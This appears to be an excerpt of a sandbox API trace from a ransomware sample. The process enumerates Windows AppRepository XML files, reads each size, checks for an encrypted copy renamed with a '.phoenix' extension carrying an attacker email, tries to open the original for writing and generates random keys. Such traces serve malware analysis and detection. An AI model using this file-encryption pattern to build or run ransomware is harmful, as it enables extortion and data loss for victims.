	[0230.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml")) returned 0x20
	[0230.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.064] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.064] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.064] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.065] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=952) returned 1
	[0230.065] CloseHandle (hObject=0x2f4) returned 1
	[0230.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml")) returned 0x20
	[0230.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.065] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.065] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.065] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.065] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16812) returned 1
	[0230.065] CloseHandle (hObject=0x2f4) returned 1
	[0230.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml")) returned 0x20
	[0230.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.065] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.066] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.066] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.066] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=27377) returned 1
	[0230.066] CloseHandle (hObject=0x2f4) returned 1
	[0230.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml")) returned 0x20
	[0230.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.066] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.066] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.066] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.067] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15611) returned 1
	[0230.067] CloseHandle (hObject=0x2f4) returned 1
	[0230.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml")) returned 0x20
	[0230.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.067] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.067] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.067] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.067] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3373) returned 1
	[0230.067] CloseHandle (hObject=0x2f4) returned 1
	[0230.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.068] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.068] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.068] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.068] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=25943) returned 1
	[0230.068] CloseHandle (hObject=0x2f4) returned 1
	[0230.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.069] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0230.069] CloseHandle (hObject=0x2f4) returned 1
	[0230.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.071] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0230.071] CloseHandle (hObject=0x2f4) returned 1
	[0230.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.072] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.072] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.072] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.072] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1258) returned 1
	[0230.072] CloseHandle (hObject=0x2f4) returned 1
	[0230.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.072] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.072] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.072] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.072] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1258) returned 1
	[0230.073] CloseHandle (hObject=0x2f4) returned 1
	[0230.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.073] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.073] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.073] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.073] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1266) returned 1
	[0230.073] CloseHandle (hObject=0x2f4) returned 1
	[0230.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.073] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.073] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.073] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.074] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1266) returned 1
	[0230.074] CloseHandle (hObject=0x2f4) returned 1
	[0230.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.074] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.074] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.074] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.074] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1113) returned 1
	[0230.074] CloseHandle (hObject=0x2f4) returned 1
	[0230.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
